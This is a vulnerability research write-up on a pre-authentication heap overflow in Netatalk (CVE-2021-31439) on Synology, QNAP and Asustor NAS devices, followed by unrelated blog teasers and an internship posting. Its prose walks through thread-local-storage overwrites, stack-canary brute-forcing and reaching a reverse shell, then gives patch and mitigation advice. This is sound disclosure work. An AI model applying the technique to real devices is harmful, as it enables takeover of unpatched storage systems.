    • 如果想要用類似功能,建議可使用 SMB 相對安全不少,但只能說相對安全,不能說絕對沒問題,建議還是將相關服務都開在內網就好,沒用到的能關就關

Summary

我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!

未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。

To be continue

事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。

Your NAS is not your NAS !

English Version 中文版本

Two years ago, we found a critical vulnerability, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.

This research is also presented at HITCON 2021. You can check the slides here.

Network Attached Storage

In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.

Motivation

Why do we want to research NAS?

Red Team

While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.

Ransomware

NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.

Pwn2Own Mobile 2020

The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.

Attack surface

First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.

In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.

We selected a few services for preliminary analysis.

DSM Web interface

The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.

SMB

The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.

iSCSI Manager

It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.

Netatalk

The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.

After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.

Netatalk

Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.

Netatalk in Synology

The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.

DSI

Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.

DSI Packet Header :

The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.

AFP over DSI :

The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.

In Netatalk implementation, dsi_block will be used as the packet structure.

dsi_block :

  • dsi_flag means that the packet is a request or reply
  • dsi_command indicates what our request does
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.

The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.

If not specified, it uses the default size(0x100000).

With a preliminary understanding, let’s talk about this vulnerability.

Vulnerability

The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.

It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.

However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.

The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.

Exploitation

In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.

At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.

Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?

Thread-local Storage

Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.

Target in TLS

In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.

  • main_arena
    • We can forge main_arena to achieve arbitrary writing, but it’s more complicated
  • pointer_guard
    • We can modify the pointer guard to change the function pointer, but it requires a leak.
  • tls_dtor_list
    • It’s more suitable for our current situation

Overwrite tls_dtor_list

We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.

When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.

However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.

But in fact pointer guard would also be placed in Thread Local Storage.

In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.

tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.

We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.

But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.

Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.

Bypass stack guard

In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.

Brute-force stack guard

We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.

In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.

After we leak the stack guard, we can actually control RIP successfully. Next, we need to forge the structure _dtor_list to control RIP.

Construct the _dtor_list to control RIP

In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.

Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.

After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.

tls_dtor_list in Synology

But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.

The final structure we forged is as follows

Finally, we control RIP to invoke execl() in afpd to get the reverse shell.

Remark

In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.

This vulnerability not only affects Synology, but also affects some devices use Netatalk.

Other vendor

We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.

When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.

Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.

Your NAS is not your NAS !

In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.

Mitigation

Update

At present, the above three have been patched, please update to the latest version.

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

This vulnerability is also fixed in the recently released Netatalk 3.1.13. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.

Disable AFP

  • It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
  • SMB is relatively safe
    • If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
    • It is recommended that all related services should be opened in the intranet.

Summary

We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.

We also think that Netatalk is a new generation of backdoor in NAS!

In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.

The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.

To be continue

In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.

Please look forward to Part II.

Anstehender blu Systems Praxistalk mit Florian Hansemann

Am 21.07.2022 ist es wieder so weit. Unser Gründer und IT Security Spezialist Florian Hansemann wird als Speaker auf dem blu Systems Praxistalk 2022 in München rund um das Thema „Security einfach, schnell und kostenfrei.“ Sprechen. Der diesjährige blue Systems Praxistalk findet unter dem Überthema „Digital Governance – Nur ein weiteres Buzzword?“ statt. Buzzwords begleiten […]

HanseSecure als einer der Top 100 Cybersecurity-Leader ausgezeichnet

Cybersicherheit ist ein Thema, das immer mehr an Aufmerksamkeit gewinnt, da täglich über 80.000 Cyberangriffe gemeldet werden. Allein in Deutschland berichten mindestens 92 % der Unternehmen , dass sie innerhalb eines Zeitraums von 12 Monaten von irgendeiner Art von Cyberangriff betroffen waren. Glücklicherweise erweitern die Cybersicherheitsunternehmen ständig ihr Angebot für Unternehmen und Konzerne, um deren […]

Sicherheitslücke in Remote Desktop Commander Suite Agent

CVE -anhängig- Anfällige Software Remote Desktop Commander Suite Agent <= Version 4.8 Schwachstelle Schwachstelle im unquotierten Dienstpfad Zeitleiste 12.11.2021 Verkäufer informiert 10.12.2021 Der Verkäufer hat das Problem bestätigt und bittet um eine Freigabe am 9. Februar 2022 09.02.2022 Offenlegung Beschreibung WENN ein Kunde a.) unseren Agentendienst im Standardpfad C:\Programme\RDPSoft\Remote Desktop Reporter Agent installiert und b.) […]

[已結束] DEVCORE 2022 實習生計畫

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 4 月開始到 7 月底,共 4 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 ROP、Heap Exploitation 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide 或 Write-ups
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題測驗(2 題,詳見下方報名方式

我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。

第二階段:能力測驗

  • Binary
    • 第二階段會根據您的履歷或是任何可以證明具備 Binary Exploit 相關技能的資料來決定是否需要另外做題目,如果未達標準則會另外準備 Binary Exploitation 相關題目,原則上這個階段會給大家約兩週時間解題,解完後請務必寫下解題過程(Write-up),待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
  • Web

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷簡答題答案做成一份 PDF 檔寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/02/11 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 簡答題題目如下,請依照欲申請之組別回答,答案頁數不限,可自由發揮
    • Binary
      • 假設你今天要分析一個 C/C++ 寫的 web server,在程式執行過程中,你覺得有哪些地方可能會發生問題導致程式流程被劫持?為什麼?
      • 在 Linux 機器上,當我們在對 CGI 進行分析時,由於 CGI 是由 apache 所呼叫並傳遞 input,且在執行後會立即結束,這種程式你會如何 debug ?
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 依據前述問題的答案,允許隨意設想任何一個情境,並以文字盡可能說明在情境的各個環節中可能發生的任何安全議題或者攻擊目標、攻擊面向。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

❌